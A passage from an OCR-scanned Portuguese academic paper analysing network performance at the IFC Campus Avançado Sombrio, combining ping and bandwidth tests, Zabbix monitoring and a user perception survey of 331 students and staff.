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Analise do Desempenho da Rede do IFC-
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Abstract. This work conducts a survey and analysis based on the users
perception regarding the performance of the network in an educational
institution. A survey was conducted based on a questionnaire applied to
users to compare responses with the graphs of the Zabbix monitoring
tool. The users analyzed stay in the IFC-CAS at different period of time.
According to a comparative performed, it was possible to notice the high
rates of Internet access in the afternoon and evening.

Resumo. Este trabalho realiza um levantamento e uma andlise, com base
na percepgdo dos usudrios de uma institui¢do de ensino em relagdo ao
desempenho da rede, sendo que estes sdo os maiores utilizadores da
Internet. A pesquisa ocorreu com base em um questionario aplicado aos
usuarios para a realizagdo de uma comparagdo entre as respostas
obtidas com os grdficos da ferramenta de monitoramento Zabbix. Os
usudarios analisados permanecem no IFC-CAS em diferentes periodos e
de acordo com o comparativo realizado, foi possivel perceber que
existem grandes indices de acesso a Internet no periodo vespertino e
noturno.

Palavras-chave. Desempenho de Rede; Questionario;, Redes de
Computadores; Percepgdo do usuario.

1 INTRODUCAO

Em 1970 com a chegada da Arpanet, foi possivel desenvolver uma rede
interligando diferentes universidades, empresas e instituigdes militares,
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além de alguns servicos que foram desenvolvidos , como e-mail,
Protocolo de Transferéncia de Arquivos (STP, File Transfer Protocol) e
telnet, fazendo com que os usuarios pudessem realizar diferentes
atividades. Os meios de comunicagdo e as tecnologias continuaram
evoluindo e a expansdo da Internet ocorreu fortemente na década de 90
(FRANCISCATTO; CRISTO; PERLIN, 2014).

Atualmente € possivel observar o crescimento da Internet e, com
isso, criam-se redes de computadores cada vez mais complexas que
exigem um bom gerenciamento. Entretanto, o gerenciamento ndo deve
apenas verificar se uma rede esta ativa ou ndo, e sim garantir que a mesma
apresente o melhor desempenho possivel.

Pode-se dizer que as redes de computadores sdo importantes e
necessarias para muitas pessoas, em diferentes areas ou estudo. Em
organizacdes e instituicdes de ensino, por exemplo, elas sdo
indispensaveis, pois ¢ fundamental ter uma rede para que se tenha um
compartilhamento de recursos, troca de informacdes, pesquisas e
realizagdes de projetos, entre outros. Além disso, de acordo com Oliveira,
Moura e Sousa (2015), as redes de computadores e a tecnologia
proporcionam recursos dinamicos que quando bem utilizados pelos
educadores e educandos, apresentam intensificagdo e melhoria em
praticas pedagdgicas que sdo desenvolvidas em sala de aula e até mesmo
fora dela.

No Instituto Federal Catarinense — Campus Avancado Sombrio
(IFC-CAS), existem dois cursos de tecnologia: Técnico em Informatica
Integrado ao Ensino Médio e o superior de Tecnologia em Redes de
Computadores. Ainda assim, outros cursos também sao oferecidos, como
por exemplo, Técnico em Hospedagem Integrado ao Ensino Médio,
Gestdo de Turismo e Licenciatura em Matematica.

O sistema académico (SIGAA ') da instituicdo ¢ bastante
utilizado pelos alunos diariamente, facilitando o acesso as informagdes,

! Sistema Integrado de Gestdo de Atividades Académicas (SIGAA).
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materiais de aulas, entre outros. Além do acesso a Internet disponivel para
todos os alunos, o IFC-CAS possui computadores nos laboratérios de
informatica, na biblioteca e nos setores administrativos, sendo utilizados
pelos alunos e servidores respectivamente.

Dessa forma, ¢é de extrema importdncia possuir um
gerenciamento de rede adequado, pois, assim, os administradores de rede
poderao ter um melhor controle e fornecer uma rede com qualidade e bom
desempenho para os usuarios da institui¢do. Para que isso ocorra, €
necessario a utilizagdo de ferramentas que ajudam a realizar o
monitoramento da rede em si.

Diante deste contexto, o presente trabalho busca analisar a
percepcao dos usudrios quanto ao desempenho da rede do IFC-CAS. Para
isso, um questionario foi aplicado com os alunos e servidores, além da
analise de dados a partir de ferramentas as quais mostraram o desempenho
da rede em diferentes periodos do dia.

2 REFERENCIAL TEORICO

Nesta secdo, sdo apresentados os conceitos de Redes de Computadores,
Internet, Gerenciamento de Rede, Parametros de Desempenho, Percepgéo
do Usuario, sobre o IFC-CAS e também a Ferramenta de Analise de
Desempenho, o Zabbix.

2.1 REDES DE COMPUTADORES

Franciscatto, Cristo e Berlin (2014, p.15), definem redes de computadores
como: “um conjunto de dois ou mais computadores interligados com o
objetivo de compartilhar recursos e trocar informagdes.” Ressaltam ainda,
que as redes de computadores estdo presentes em diferentes lugares e
abrangem cada vez mais pessoas.

A Internet é um exemplo de rede de computadores que é
caracterizada por ser descentralizada e permitir a troca de informagdes
constante entre os seus usuarios (FRANCISCATTO, CRISTO e BERLIN,
2014).

Segundo Bandeira e Fernandes (2013), as redes de computadores
podem ser classificadas em trés tipos:

« LAN - Local Area Network: E uma rede privada e pode
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pertencer a uma unica pessoa ou empresa. E possivel ter dois ou
mais computadores conectados, mas sempre abrangendo uma
pequena distancia, como uma casa, prédio ou campus;

*  MAN - Metropolitan Area Network: A MAN envolve um espago
maior, tal como a area de um bairro ou até de uma cidade inteira.
Esta rede pode ser controlada por uma determinada empresa que
pode fornecer conectividade para outras empresas ou
residéncias;

*  WAN - Wide Area Network: Conhecida como rede de longa
distancia. Ela ¢ mais complexa e interliga redes locais e
metropolitanas. Um bom exemplo de WAN ¢ a Internet, pois ela
conecta redes distintas com diferentes estruturas.

Para realizar a troca de informagdes entre computadores, a
interligag@o pode ser feita através de cabos, fibra dptica, linha telefonica,
ondas de radio, sinais de satélite, sinalizag¢ao infravermelha, entre outros.
A troca de informacdes pode ser caracterizada por qualquer forma de
envio ou recep¢do de dados. Em relacdo ao compartilhamento de
recursos, isso ocorre quando um computador pode utilizar partes do
hardware de outra, como por exemplo, HD, CD-ROM, impressoras, etc
(MOTA FILHO e ERIBERTO, 2013).

2.2 INTERNET

Segundo Kurose e Ross (2010), a Internet ¢ uma rede de computadores
que conecta muitos dispositivos computacionais ao redor do mundo. No
inicio de seu surgimento, era utilizada basicamente para interligar
computadores de mesa, estacdes de trabalho e servidores que
armazenavam e transmitiam informagdes, como paginas de web e
mensagens de e-mail. Com o crescente avango da tecnologia, a Internet
passou a permitir também as conexdes de TVs, notebooks, telefones
celulares, webcams, automoveis, dispositivos de sensoriamento
ambiental, sistemas internos elétricos e de seguranga, entre outros.
Ressaltam ainda que estes dispositivos sdo denominados hospedeiros ou
sistemas finais.

Almeida e Rosa (2000 apud ALENCAR, 2010, p.39), afirmam
que todos os servicos acessiveis na Internet sdo padronizados e usam o
mesmo conjunto de protocolos, que ¢ o TCP/IP.
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De acordo com Moraes (2010), os protocolos sdo um conjunto de
regras e métodos de comunicagdo. Pode-se dizer que existem trés tipos,
sendo eles de aplicagdo, transporte e de rede. Desta forma, em relagio aos
protocolos utilizados nas redes de computadores, o conjunto de
protocolos TCP/IP ¢ o mais importante, podendo ser utilizado tanto em
redes locais quanto em redes de longa distancia.

2.3 GERENCIAMENTO DE REDE

A Geréncia de Rede ¢ a atividade responsavel pela administragdo dos
recursos disponiveis em uma rede de computadores, como, impressoras,
roteadores, computadores e softwares. Proporciona também aos usuarios
da rede, seguranca, confiabilidade e disponibilidade (BATTISTI;
TAROUCO, 2010).

Stallings (1998 apud BLACK, 2008, p.39) declara, também, que
o gerenciamento ¢ a monitoragdo de redes sdo atividades com extrema
importancia para o funcionamento correto de uma rede de computadores,
pois assim, os componentes fisicos ou ldgicos s@o monitorados e
controlados fazendo com que exista uma boa qualidade de servigo.

O gerenciamento da rede nada mais ¢ do que ter o controle e
poder agir em fung¢do de informagdes coletadas ,que demonstrem
anormalidade de funcionamento, ¢ pode ser efetuado através da propria
infraestrutura da rede ou montar uma rede paralela com intersecg¢des nos
pontos de interesse (SANTOS, et al., 2015).

Os principais elementos de um sistema de geréncia de redes sdo
o gerente, agente, Base de Informagdes de Gerenciamento (MIB,
Management Information Base) e protocolo. O gerente ¢ o computador
conectado a rede, o qual executa o software de gerenciamento que solicita
as informagdes aos agentes. Ja o agente ¢ um sofiware que recolhe
informag¢des de gerenciamento e repassa os problemas para um gerente, e
também sdo projetados para se integrar com dispositivos, computadores
e aplicacdes da rede. A MIB ¢ o local onde os dados sdo armazenados
para posteriormente serem repassados ao gerente. Por fim, o protocolo ¢é
o responsavel por fornecer a comunicagdo entre os agentes e gerentes
(SANTOS et al., 2015).
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2.4 PARAMETROS DE DESEMPENHO

Para avaliar o desempenho de uma rede de computadores, é importante
levar em consideracdo alguns parametros, sejam eles técnicos ou de
diferentes percepgdes do usuario. Em relagdo aos parametros técnicos,
eles sdo os que podem ser calculados de forma deterministica ou
estatistica. Ja os de diferentes percepcdes sdo quando existe a opinido dos
usuarios, os quais possuem perfis e comportamentos diferentes, gerando
assim, percepgoes distintas em relagdo ao desempenho da rede.

Alguns parametros de desempenho sdo apresentados de acordo
com Stato Filho (2014) e Kurose e Ross (2010):

*  Velocidade: Consiste na quantidade de bits transmitidos pelo
meio fisico a cada segundo, sendo um dos parametros que é mais
levado em consideragdo por um usudrio leigo;

* Vazdo: Mostra o volume de dados que sdo efetivamente
transmitidos entre a origem e o destino;

* Laténcia: Indica o tempo necessario para efetiva transmissao dos
dados no meio fisico;

* Retardo: Apresenta a soma de todas as laténcias, acompanhado
de outros atrasos que sdo inseridos devido ao processamento,
armazenamento temporario e informagdes que vao desde sua
origem até o destino;

* Taxa de Erros: Refere-se a quantidade de erros de transmissdo
que acontece na camada fisica da rede;

* Perda de Pacotes: Ocorre devido ao congestionamento da
camada fisica, estouro da memoria temporaria ou estouro da
capacidade de processamento, sendo que pode acontecer em
qualquer camada;

* Tempo de resposta: Consiste no tempo de resposta de aplicagdes
a um determinado pedido, mas deve-se levar em conta que para
aplicagdes “tradicionais” poucos segundos sdo aceitdveis. Um e-
mail, por exemplo, pode demorar de 10 a 15 segundos para
chegar, ja para outros aplicativos, como o VoIP e
videoconferéncia, o tempo de resposta € primordial.
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Por fim, existem também parametros nao técnicos utilizados para
medir o desempenho de uma rede, como a disponibilidade. Para fazer-se
o calculo, ¢ necessario realizar a soma do Tempo Médio entre Falhas
(MTBF) pelo Tempo Médio de Reparo (MTTR) e posteriormente fazer a
divisdo do MTBF pelo somatorio feito anteriormente (MTRF+MTTR).

2.5 PERCEPCAO DO USUARIO

O grau de satisfagdo dos usudrios da rede do IFC-CAS é um importante
indicador que deve ser levado em consideracdo quando sdo realizadas
avaliacdes de desempenho da rede. Dessa forma, a percepg¢ao dos usuarios
sera diagnosticada através de questionario com perguntas referentes a
velocidade da rede, tanto Wireless quanto cabeada.

2.6 IFC-CAS

A Escola Agrotécnica Federal de Sombrio foi criada em 05 de abril de
1993 por meio da Lein® 8.670. A escola foi criada com o objetivo de atuar
como uma unidade de ensino descentralizada da Escola Técnica Federal
de Santa Catarina, em Florianopolis.

Em 29 de dezembro de 2008 com a Lei n°® 11.892, a escola passou
a se chamar Instituto Federal de Educagdo, Ciéncia e Tecnologia
Catarinense — Campus Sombrio. Contudo, mesmo utilizando o nome
“Sombrio”, a sede do Campus se localiza no municipio de Santa Rosa do
Sul.

Ainda em 2008, com Sombrio sendo considerado um polo
microrregional, foi criado a unidade descentralizada urbana, pois houve a
necessidade de expandir as acdes. O nome inicialmente foi chamado de
Nucleo Avangado Sombrio, mudando mais tarde para Unidade Urbana e
posteriormente, através da expansdo da Rede Federal, de acordo com a
Portaria 505/2014 do Ministério da Educag@o, passou a ser chamado de
Campus Avancado Sombrio (CAS).

Atualmente, o Instituto Federal Catarinense — Campus Avancado
Sombrio (IFC-CAS) fornece cursos de nivel médio como Técnico em
Informatica e Técnico em Hospedagem. A instituicdo oferece, também,
ensino superior, comoos cursos de Gestdo de Turismo, Licenciatura em
Matematica e Tecnologia em Redes de Computadores.

Além disso, o instituto dispde de cursos na modalidade FIC
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(Formagao Inicial e Continuada), e também outras atividades de pesquisa
e extensdo, que sdo ligados a projetos fornecidos pelo corpo de servidores
da instituig@o.

2.7 FERRAMENTA DE ANALISE DE DESEMPENHO

No IFC-CAS, sdo utilizadas algumas ferramentas para fazer o
acompanhamento da rede wireless e cabeada, sendo uma delas o Zabbix.

2.8 ZABBIX

O Zabbix 2 é uma ferramenta utilizada para monitoramento,
acompanhamento de desempenho de aplicagdes, analise de experiéncia
de usudrio e andlise de causa raiz em ambientes complexos, que € o
processo de descobrir a causa de problemas para identificar as solucdes
adequadas. Além disso, o Zabbix possui uma interface Web para
administragdo e exibi¢do de dados.

Em relagdo aos alertas do sistema de monitoramento, este pode
ser configurado para que sejam usados métodos para a comunicagdo,
como por exemplo, SMS e e-mail.

Os relatérios e estatisticas da ferramenta, assim como 0s
parametros de configuragdo, sdo acessados por meio de um “front-end”
baseado na web. Isso significa uma garantia de que o status da rede e a
saude dos servidores possa ser avaliada a partir de qualquer local.

2 PROCEDIMENTOS METODOLOGICOS

Esta se¢do aborda as metodologias utilizadas para a realizacdo deste
trabalho, sendo que foram realizados testes de velocidade em alguns
setores do [IFC-CAS e também aplicado um questionario relacionado ao
desempenho da rede de computadores.

2.1 METODOS

De acordo com Cervo, Brevian e Silva (2007), a pesquisa ¢ uma atividade
para o reconhecimento de problemas teéricos ou praticos, através do
emprego de processos cientificos.

2 Site Oficial: https://www.zabbix.com/
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Conforme Gil (2010), pesquisa bibliografica é elaborada com
base em um material ja desenvolvido, fundamentado principalmente em
livros e artigos cientificos. Dessa forma, em relagdo aos procedimentos
tedricos empregados neste trabalho, o método adotado foi pesquisa
bibliografica. Visto que qualquer trabalho cientifico inicia-se através de
uma pesquisa bibliografica, € permitido ao pesquisador inteirar-se com o
que ja foi estudado sobre determinado assunto (FONSECA, 2002).

Sendo assim, este trabalho -caracteriza-se, também, como
pesquisa exploratdria, pois como ja abordado anteriormente, o pesquisar
familiariza-se com o assunto escolhido. Segundo Gil (2002), uma
pesquisa exploratoria permite ao pesquisador uma maior familiaridade
com o problema, com o objetivo de torna-lo mais sucinto.

Por conseguinte, foi realizada uma pesquisa em livros, artigos
cientificos e paginas da web que apresentavam assuntos relacionados a
redes de computadores, Internet, geréncia de rede e ferramentas de analise
de desempenho.

Apresenta-se também uma abordagem qualitativa, pois de acordo
com Minayo (2001), adequa-se aos trabalhos qualitativos os que mostram
o porqué das coisas, exprimindo o que pode ser feito para a resolugao.
Desta forma, esta pesquisa estabelece um universo de significados,
motivos, aspiragdes, crengas, valores e atitudes.

Gerhardt e Silveira (2009) afirmam que a pesquisa qualitativa
tenta compreender a totalidade do fendmeno, e ndo focar somente em
conceitos especificos. Ressalta ainda a importancia das interpretagdes dos
acontecimentos mais do que a interpretagdo do pesquisador e ndo tenta
controlar o contexto da pesquisa, € sim, captar o contexto em sua
totalidade.

Segundo Fonseca (2002), a coleta de dados junto a pessoas ¢
caracterizada por ser uma pesquisa de campo investigativa, e ndo somente
uma pesquisa bibliografica ou documental. Dessa forma, questionarios
foram aplicados aos wusudrios da rede do IFC-CAS, buscando
compreender sua percep¢do diante do desempenho da rede wireless e
cabeada.

2.2 MATERIAIS

Em relagdo aos materiais utilizados neste trabalho, foram realizados testes
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através do comando ping, que mostram a conectividade de equipamentos.
Segundo Brito (2012), o ping (Packet Internet Network Grouper) ¢ um
comando que faz com que seja possivel testar a conectividade dos
equipamentos de uma rede, enviando dados e aguardando respostas. O
seu funcionamento ocorre de acordo com o envio de pacotes de
determinada origem até um destino, e assim a origem aguarda uma
resposta de volta, em que mostra a média de tempo do RTT (Round Trip
Time), que € o tempo de laténcia multiplicado por dois, ou ida e volta.

Além disso, foram coletados graficos de ferramentas de geréncia,
como o Zabbix, os quais mostram o monitoramento da rede do IFC-CAS,
além de apresentar os horarios com mais acessos a rede. Segundo Horst,
Pires e Déo (2015), o Zabbix possui muitas fungdes, e algumas das
principais sdo a autodescoberta de dispositivos de rede e de recursos do
host, a criag@o de forma automatica dos graficos para diferentes recursos
do host escolhido para ser monitorado e também realiza o monitoramento
com a administrag¢do via web por meio do uso de proxy.

Por fim, aplicou-se um questiondrio com os alunos, docentes,
técnicos administrativos e servidores terceirizados, no qual mostram a sua
percepgdo em relagdo ao uso e desempenho da rede. E importante saber
os periodos do dia em que os usudrios sentem que o desempenho da rede
diminui, pois de acordo com as respostas obtidas pode-se sugerir
melhorias. Para isso, o questiondrio aplicado foi efetuado com a
ferramenta Google Forms, totalizando 331 entrevistados, que equivale
43,3% de um total de 764 usudrios que frequentam diariamente o IFC-
CAS.

O acesso ao questionario foi por meio de um link disponibilizado
aos usuarios da rede, que responderam as questoes nos computadores dos
laboratorios de informatica da instituicdo. Além disso, também foi
aplicado o questiondrio impresso e disponibilizando o link de acesso via
e-mail e WhatsApp, para os usuarios que ndo estavam nos laboratorios. A
partir dos dados obtidos, foi possivel realizar uma comparagdo entre as
respostas do publico em rela¢do a lentiddo nos diferentes periodos do dia
com o grafico do de monitoramento do Zabbix. Estes resultados
encontram-se na proxima se¢ao juntamente com os periodos de realizago
de cada procedimento.

Em relagdo a topologia da rede, nas Figuras 1 e 2 estdo
apresentados os principais equipamentos presentes na estrutura da rede da
institui¢do. E possivel observar uma quantidade de 2 servidores, 18
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switches, 14 roteadores e 13 computadores, que nas Figuras 1 e 2 estdo
apenas representando alguns setores e laboratorios, visto que a quantidade
real ¢ muito maior e esta especificado nas imagens com uma legenda logo
abaixo dos computadores.

Figura 1- Topologia da Rede IFC-CAS (Parte 1)
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Figura 2 - Topologia da Rede IFC-CAS (Parte 2)
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Fonte: IFC-CAS, 2019.

Em relag@o aos laboratorios de informatica, vale ressaltar a quantidade de
computadores existentes em cada um deles, sendo:

* Laboratoério 31: 20 computadores;

* Laboratorio 33: 14 computadores;

» Laboratoério 34: 20 computadores;

» Laboratodrio 35: 20 computadores;

» Laboratoério 37: 10 computadores;

» Laboratorio 38: 20 computadores.

3 RESULTADOS E DISCUSSOES

Os testes de velocidade sdo importantes para que se obtenha um resultado
de como estd a velocidade de download e upload, por exemplo. Além
disso, através da percepcdo dos usudrios foi possivel realizar uma
comparacdo com os graficos do Zabbix. Desta forma, nesta secdo sao

apresentados os principais resultados da pesquisa.

3.1 TESTES DE VELOCIDADE
No IFC-CAS, foram realizados testes de velocidade em diferentes setores,
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o primeiro no més de abril e o segundo em novembro. Os dados foram
coletados e, a partir deles, tabelas foram elaboradas para uma melhor
visualizacdo dos dados.

De acordo com a Tabela 1, é possivel observar que foram
utilizados quatro enderegos para a realizagdo do teste. Os enderecos de
Firewall (10.0.0.1), Servidor RNP (200.143.252.65), Google
(google.com) e também do Site do Enem (enem.inep.gov.br). Sobre os
setores, os que receberam os testes foram: a Sala dos Professores,
Secretaria, Biblioteca ¢ o Setor de Copias. Portanto, a tabela esta
apresentada de acordo com cada endereco.

Tabela 1 - Teste de Velocidade 1

Endereco IP Biblioteca | Secretaria Setor de Sala dos
Copias Professores
10.0.0.1 0,45 ms 1,3 ms 1 ms 1 ms
200.143.252.65 18,7 ms 18,5 ms 18,1 ms 18,9 ms
google.com 19,4 ms 19,1 ms 19 ms 135 ms
enem.inep.gov.br 32,4 ms 33,3 ms 32 ms 32,7 ms

Fonte: Os autores, 2019.

Apo0s sete meses, 0s testes de velocidade foram reaplicados nos
mesmos setores e enderecos (Tabela 2)

Tabela 2 - Teste de Velocidade 2

Endereco IP Biblioteca | Secretaria Setor de Sala dos
Copias Professores
10.0.0.1 0,3 ms 1 ms 1 ms 1 ms
200.143.252.65 19,3 ms 20 ms 19 ms 19,5 ms
google.com 19 ms 19 ms 19,1 ms 19,5 ms
enem.inep.gov.br 34,3 ms 34,5 ms 34,3 ms 33,5 ms

Fonte: Os autores, 2019.

Dessa forma, realizou-se os testes sendo necessario fazer o ping
para cada endereco com um numero especifico de pacotes, neste caso

[ 1]
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foram 10. Sendo assim, a média do RTT que determinado computador
levou para receber os dados foi apresentada e este resultado ¢ exibido em
milissegundos (ms).

Pode-se analisar que ocorreu uma velocidade maior nos envios
dos pacotes, em relagdo aos testes realizados no més de abril, no setor da
Biblioteca com os pacotes enviados ao Firewall, Servidor RNP e Google.
Ja, na secretaria, foram os do Firewall e Google e nas salas dos
professores somente o pacote enviado pelo Google. Mas deve-se destacar
que, os pacotes enviados ao Firewall no setor de copias e sala dos
professores, continuaram com as médias. Por fim, os pacotes que
aumentaram o seu tempo médio de envio foram os do ENEM em todos
os setores, os do Google no setor de copias, os do Firewall no setor de
copias e sala dos professores.

Em relacdo aos testes para verificar as taxas de download e
upload foi utilizado o site Brasil Banda Larga, disponibilizado pela
Entidade Aferidora da Qualidade de Banda Larga (EAQ) e também pela
Agéncia Nacional de Telecomunicagdes (ANATEL). Portanto, na Tabela
3 é possivel observar os resultados obtidos, sendo que eles sdo medidos
em megabit por segundo (mbps).

Tabela 3 - Taxas de Download e Upload 1

Biblioteca Secretaria Setor de Sala dos
Copias Professores
Download 89,14 mbps 86,21 mbps 81,09 mbps 89,80 mbps
Upload 40,87 mbps | 43,01 mbps 17,71 mbps | 33,96 mbps

Fonte: Os autores, 2019.

Na Tabela 4, estdo apresentados também as taxas de download e
upload, reaplicadas sete meses depois.
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Biblioteca Secretaria Setor de Sala dos
Copias Professores
Download 72,15 mbps | 85,99 mbps | 64,71 mbps | 68,10 mbps
Upload 37,83 mbps | 30,85 mbps | 27,63 mbps | 27,30 mbps

Fonte: Os autores, 2019.

Analisando os dois testes realizados, ¢ possivel observar que
todas as taxas de download dos setores baixaram na segunda pesquisa.
Somente o setor de copias teve aumento em relagdo a taxa de upload
comparando com o teste realizado em abril.

3.2 QUESTIONARIO

Além dos testes de velocidade, um questiondrio foi aplicado com os
usudrios da rede de computadores do IFC-CAS, e ainda, graficos da
ferramenta de monitoramento da rede foram solicitados ao setor de
Tecnologia da Informacao (TI).

Em relacdo ao questionario, de acordo com as perguntas 1 e 2
realizadas sobre a identificacdo dos usuarios e o turno em que
estudam/trabalham, como respostas obteve-se 64,7% “Aluno — Ensino
Médio, 27,5% “Aluno — Ensino Superior”, 4,8% “Docente” e 3%
“Técnico Administrativo” (Figura 3).
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Figura 3 - Identificacdo

331 respostas

@ Aluno —Ensino b
@ Aluno -Ensino ¢
@ Docente

@ Técnico Adminis
@ Servidores Terce

Destes usuarios, 68,6% estao presentes na institui¢ao nos turnos
“Matutino/Vespertino”, 19% ‘“Noturno”, 6,6% “Vespertino/Noturno”,
2,1% “Matutino/Noturno” e 3,6% permanecem no IFC-CAS durante
todos os trés periodos. E possivel observar o grafico com essas
informac¢des na Figura 4.

Figura 4 - Em que turno vocé estuda/trabalha?
331 respostas

@ Matutinoive
@ Matutino/Me
O Vesperinof
@ HMoturno

@ Todos os p

A questdo 3 abordou sobre a diferenga em relag@o a velocidade
da Rede Cabeada e WiFi. Como respostas, recebemos 73,4% “Sim”,
14,2% “Nio se Aplica” e 12,4% “Nao”. E possivel conferir o grafico desta
pergunta na Figura 5.
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Figura 5 - Vocé percebe diferenca em relagdo a velocidade da
Rede Cabeada e a Rede WiFi?

331 respostas

De acordo com as respostas, € visivel que a maioria dos usudrios
percebe diferenca entre a Rede Cabeada e a Rede sem fio. Apds, foi
questionado se o sinal do WiFi é presente em todos os ambientes da
instituicdo, e como resultados: 67,4% reponderam que “N&o”, 26,6%
“Sim” e 6% “Nao se Aplica” (Figura 6).

Figura 6: VVocé considera o sinal do WiFi presente em todos o0s

ambientes da Instituicdo?
331 respostas

® Nios
® Nio
@ Sim

T~z

Analisando a Figura 6, pode-se perceber que 67,4% dos
entrevistados consideram que o sinal da Rede WiFi ndo estd presente em
algum ambiente nas dependéncias do IFC-CAS. Assim, de acordo com
essas respostas, uma nova questao foi realizada, com o objetivo de que os
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usuarios indicassem — caso afirmativo para a questao anterior — os locais
com menor disponibilidade de sinal na institui¢do, podendo ser assinalada
mais de uma alternativa, como mostra a Figura 7.

Figura 7 - Locais com menor disponibilidade do IFC-CAS: (Pode ser
assinalada mais de uma alternativa).

331 respostas

Hall de Entrada 101 (30.5%)

Sala12e13
Sala 15 46 (13.9%)
Biblioteca 31 (9.4%)
Sala2ie 24 33 (10%)
Sala25e 26 60 (18.1%)
Sala 27 42 (12,7%)
Auditdrio 60 (18.1%)

Laboratdrio 31 e 32 15 (4.5%)

Laboratdrio 34 19 (6.7%)
Laboratdrio 35 e 38 12 (3.6%)
Laboratdrio 36 & 37 12 (3.6%)

Prédio ADM - Térreo
Prédio ADM - 2° andar
Prédio ADM - 3° andar

95 (28,7%)
105 (31.7%)

0 50 100

Sendo assim, os lugares com menor disponibilidades apontadas
com maior frequéncia sdo “Sala 12 e 13” com 39,6%, “Prédio ADM —
Térreo” com 36,9% e o “Prédio ADM — 3° andar” com 31,7%. Além
desses lugares, 30,5% escolheram “Hall de Entrada”, 28,7% “Prédio
ADM - 2° andar”. Portanto, nota-se que o “Prédio ADM”
(Administracdo), ¢ apontado como um dos lugares com menor
disponibilidade do IFC-CAS.

Analisando ainda as respostas, pode-se perceber que os
laboratdrios de informatica, presentes no 3° andar da instituicao, sdo os
com maior indice de disponibilidade da Rede WiFi. Sendo estes
apontados com 5,7% o “Laboratério 34”, 4,5% “Laboratdrio 31 ¢ 32” ¢
3,6% para “Laboratorio 35 e 38” e “Laboratério 36 e 377

Por fim, de acordo com as respostas restantes, os locais com
indices medianos de disponibilidade sdo: “Sala 25 e 26” ¢ “Auditorio”
com 18,1%, “Sala 15 com 13,9%, “Sala 27” com 12,7%, “Sala 23 ¢ 24”
com 10% e “Biblioteca” com 9,4%.

No que se refere a Rede WiFi, foi questionado se é possivel
perceber lentiddes durante o uso. Apresentou-se 84,3% de respostas
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“Sim” e 15,7% “Nao”, como pode ser visto na Figura 8.

Figura 8 - Vocé percebe que a rede WIFI apresenta lentiddes
durante o uso?

331 respostas

® Mo
® Sim

Caso afirmativo para esta questdo, foi desenvolvido uma outra
pergunta, no qual questiona o periodo em que ¢ possivel perceber a
lentiddo (Figura 9).

Figura 9 - Caso afirmativo para a questdo anterior, qual
periodo percebe a lentiddo? (Pode ser assinalada mais de uma
alternativa).

280 respostas

8has 10h 103 (36,8%)
10h as 12h
12h as 13h
13h as17h
17h as 19h
19has 21h

21has 23nh

Deste modo, as escolhas foram as seguintes (podendo ser
assinalada mais que uma alternativa): 50,7% “12h as 13h”, 42,9% “10h
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as 12h”, 36,8% “8h as 10h”, 31,4% “13h as 17h”, 19,6% “19h as 21h”,
11,1% “21h as 23h” e 10,4% “17h as 19h”.

Pode-se perceber que os periodos no qual apresentam maior
lentiddo € entre as 12h as 13h, prevalecendo 50,7% das respostas obtidas,
além das 10h as 12h e 8h as 10h, com 42,9% e 36,8% respectivamente.

Com base nos dados das Figuras 3, 4 ¢ 9 pode-se perceber que a

Figura 10 - A velocidade da Internet é satisfatoria:

331 respostas

@ Concordo plenamente
@ Concordo

Indiferente
@ Discordo
@ Discordo plenamente

Y

Fonte: Os autores, 2019.

lentiddo acontece devido a maior partes dos usuérios serem alunos do
ensino médio (Figura 3) e frequentarem a instituicdo nos periodos
matutinos e vespertino (Figura 4). Deve-se ressaltar que os usudrios da
rede no periodo das 12h as 13h estdo em horario de intervalo do almogo,
em vista disso, possui um nimero elevado de usudrios acessando a rede
ao mesmo tempo, justificando o motivo deste periodo causar maior
lentiddo na rede do IFC-CAS.

Por fim, em relagdo ao periodo das 19h as 21h existe esta
porcentagem devido aos alunos do ensino superior estarem chegando na

instituicdo para as aulas a noite, além destes horarios se encaixarem

também com o tempo de intervalo que possuem, sendo este das 20h40 as
20h50.

E importante buscar opinides com os usuarios da rede em relagdo
a velocidade da Internet, por isso afirmou-se que a velocidade ¢
satisfatoria e foi oferecido opcdes de respostas para que cada um
escolhesse a que melhor expressa a sua percepgdo. Com isso, obteve-se
40,8% “Concordo”, 25,1% “Discordo”, 17,8% “Indiferente”, 9,4%
“Discordo plenamente” e 6,9% “Concordo plenamente” (Figura 10).
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Portando, observando o grafico € possivel analisar que dos
entrevistados, 47,7% (158 entrevistados) consideram a Internet
satisfatoria. Entretanto, 34,5% (114 entrevistados) discordam desta
afirmag¢do. Além disso, ainda sobre velocidade da Internet, foi
questionado se ela prejudica o trabalho ou o estudo dos usuarios, como
mostra a Figura 11.

Figura 11 - Em relacdo ao IFC-CAS, a velocidade da Internet
prejudica o trabalho/estudo:

331 respostas

@ Concordo plenaments
@ Concordo
Indiferente
@ Discordo
@ Discordo plenamente

Fonte: Os autores, 2019.

Dessa forma, mesmo considerando que a velocidade da Internet
¢ satisfatoria (Figura 10), os usuarios consideram que ela prejudica de
alguma forma o trabalho ou estudo (Figura 11).

No que diz respeito a seguranga, alguns questionamentos foram
realizados e um deles foi sobre sentir-se seguro acessando a rede da

instituicdo. As respostas foram 60,4% “Sim”, 20,5% “Nao” e 19%
“Indiferente” (Figura 12).

Logo, surge uma vertente para trabalhos futuros relacionados a
seguranga da rede do IFC-CAS, em que se pode avaliar o motivo que
levaram os entrevistados a responderem o “Sim” e o “Nao”.
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Figura 12 - Vocé se sente seguro acessando a rede da
instituicdo?

331 respostas

Fonte: Os autores, 2019.

Também, foi abordado sobre sentir-se seguro acessando a rede
através do usuario e senha do sistema académico da institui¢do, o SIGAA.

Os dados recebidos foram 67,7% “Sim”, 17,8% “Indiferente” e 14,5%
“Nao” (Figura 13).

Figura 13 -Vocé se sente seguro acessando a Rede IFC-CAS

com usudrio e senha do SIGAA?
331 respostas

Fonte: Os autores, 2019.

Fazendo uma comparagdo entre as Figuras 12 e 13, pode-se

=l
=l INSTITUTO FEDERAL

Catarinense



31

observar que alguns dos entrevistados que ndo se sentem seguros
acessando a rede da institui¢do ou que sdo indiferentes em relacdo a isso,
mudam a sua opinido quando mencionado sobre o acesso a rede com o
usuario e senha do SIGAA.

Buscando informag¢des sobre a rede nos laboratorios de
informatica, ¢ apresentado a seguinte afirmacdo: “Vocé considera
satisfatoria a velocidade da Internet nos laboratorios?”. Desta forma,
55,3% responderam “Concordo”, 16% “Concordo plenamente”, 15,7%
“Indiferente”, 11,5% “Discordo” e 1,5% “Discordo plenamente” (Figura
14).

Figura 14 - Vocé considera satisfatoria a velocidade da
Internet nos laboratorios:

331 respostas

@ Conce
@ Conce

Indifer
@ Ciscol
@ Discol

Fonte: Os autores, 2019.

Portanto, de acordo com a Figura 14 ¢ possivel perceber que a
